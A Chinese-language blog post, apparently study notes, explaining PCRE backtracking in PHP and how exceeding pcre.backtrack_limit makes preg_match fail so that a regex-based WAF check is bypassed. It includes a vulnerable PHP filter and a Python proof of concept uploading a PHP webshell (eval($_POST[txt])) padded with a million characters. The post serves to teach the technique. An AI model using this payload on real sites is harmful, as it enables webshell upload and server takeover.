PHP利用PCRE回溯次数限制绕过waf

学习文章:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

前置知识:正则表达式

常见的正则分为DFA(确定性有限状态自动机)和NFA(非确定性有限状态自动关机)

  • DFA:从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
  • NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

NFA执行过程存在回溯,性能劣于DFA,但它支持更多功能,大多数程序语言都是用了NFA作为正则引擎,其中也包括PHP使用的PCRE库

回溯过程解析

示例代码

1
2
3
4
5
6
7
8
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(!is_php($input)) {
// fwrite($f, $input); ...
}

这题中的正则是<?.*[(`;?>].*

  • <?:匹配<?
  • .*:匹配任意长度的任意字符
  • [(`;?>]:字符类,表示匹配其中的任何一个字符
  • 修饰符i:不区分大小写
  • 修饰符s:让.匹配换行符

假设输入的是<?php phpinfo();//aaaaa,那么实际执行的流程是这样的

image-20260603200459935

见第4步,第一关.*可以匹配任意字符,所以最终能够匹配到输入串的结尾,就是//aaaaa,但这里是不对的,因为第一关.*后面还应该有[(`;?>]字符去匹配

所以这里NFA就开始回溯,先匹配到输入串结尾的前一位,即少匹配一个a,如第5步显示,但仍然匹配不上正则,所以还要继续少匹配一个a,依次类推,直到只匹配到<?php phpinfo(),此时.*匹配的是php phpinfo(),现在后面的;就能匹配上[(`;?>],这样就满足正则表达式的要求,于是不再回溯了,见12步。于是从13步开始就正常向后匹配;,14步又匹配上了.*,这是第二个.*,匹配到了字符串末尾,最后结束匹配

也就是说从5~13步是在回溯的,这里回溯了8次。

简单总结一下,这个回溯机制就是在正常匹配情况下,出现了提前结束匹配,比如.*这种直接匹配到了字符串末尾,则会一个一个字符串的取消匹配直到能正确匹配下一个正则表达。

pcre.backtrack_limit限制利用

PHP为了防止正则表达式的拒绝服务攻击(DOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit,这里可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式来查看当前环境下的上限

回溯次数上限默认是100万,所以果次数超过了100万,preg_match返回的是false,表示这次执行失败了,我们可以调用var_dump(preg_last_error() === preg_backtrack_limit_error);来探查失败的原因(一般都是回溯超出了限制

所以针对上述示例代码,我们可以通过发送超长字符串的方式,使正则执行失败,最后绕过,针对上述代码的poc

1
2
3
4
5
6
7
8
9
import requests
from io import BytesIO

files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('{url}/index.php', files=files, allow_redirects=False)
print(res.headers)

PHP利用PCRE回溯次数限制绕过waf
https://colourful228.github.io/2026/06/03/PHP利用PCRE回溯次数限制绕过waf/
作者
Colourful
发布于
2026年6月3日
更新于
2026年6月3日
许可协议